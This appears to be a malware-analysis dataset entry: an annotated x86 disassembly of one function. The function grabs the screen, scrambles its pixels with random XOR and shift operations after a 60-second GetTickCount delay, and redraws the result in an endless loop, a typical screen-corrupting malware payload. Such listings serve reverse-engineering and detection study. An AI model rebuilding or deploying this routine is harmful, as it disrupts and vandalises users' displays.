Function at 0x402405
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x64
call sym._GetTickCount_0
mov dword [ebp - 0x1c], eax
mov dword [esp], 0
call sym._GetSystemMetrics_4
sub esp, 4
mov dword [ebp - 0x20], eax
mov dword [esp], 1
call sym._GetSystemMetrics_4
sub esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, 1
imul eax, dword [ebp - 0x20]
shl eax, 2
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], 0
mov dword [esp], 0
call sym._GetDC_4
sub esp, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._CreateCompatibleDC_4
sub esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], 1
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._CreateBitmap_20
sub esp, 0x14
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._SelectObject_8
sub esp, 8
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._BitBlt_36
sub esp, 0x24
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
lea edx, [eax*4]
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._GetBitmapBits_12
sub esp, 0xc
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x11], 0
call sym._GetTickCount_0
mov edx, eax
mov eax, dword [ebp - 0x1c]
sub edx, eax
mov eax, edx
cmp eax, 0xea60
seta al
test al, al
je 0x40259f
call sym.randy__
mov ecx, eax
mov edx, 0x80808081
mov eax, ecx
imul edx
lea eax, [edx + ecx]
sar eax, 7
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov edx, eax
shl edx, 8
sub edx, eax
mov eax, ecx
sub eax, edx
mov byte [ebp - 0x11], al
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x18]
jle 0x402699
mov eax, dword [ebp - 0x18]
cdq
idiv dword [ebp - 0x24]
mov eax, edx
test eax, eax
jne 0x4025f1
call sym.randy__
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
test eax, eax
jne 0x4025f1
mov eax, 1
jmp 0x4025f6
mov eax, 0
test al, al
je 0x402626
call sym.randy__
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 4
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x32
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
lea edx, [eax*4]
mov eax, dword [ebp - 0x28]
lea ebx, [edx + eax]
mov ecx, dword [ebp - 0x10]
mov edx, 0x55555556
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov edx, eax
add edx, edx
add edx, eax
mov eax, ecx
sub eax, edx
mov edx, eax
add edx, ebx
mov ecx, dword [ebp - 0x18]
lea ebx, [ecx*4]
mov ecx, dword [ebp - 0x28]
add ecx, ebx
add eax, ecx
movzx ecx, byte [eax]
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
add eax, ebx
lea ebx, [eax*4]
mov eax, dword [ebp - 0x28]
add ebx, eax
mov eax, dword [ebp - 0x10]
add eax, ebx
movzx eax, byte [eax]
xor al, byte [ebp - 0x11]
add eax, ecx
mov byte [edx], al
add dword [ebp - 0x18], 1
jmp 0x4025a6
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x24]
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._SetBitmapBits_12
sub esp, 0xc
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._BitBlt_36
sub esp, 0x24
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._DeleteObject_4
sub esp, 4
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._DeleteObject_4
sub esp, 4
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._DeleteObject_4
sub esp, 4
add dword [ebp - 0xc], 1
mov ecx, dword [ebp - 0xc]
mov edx, 0x55555556
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0xc], eax
jmp 0x402472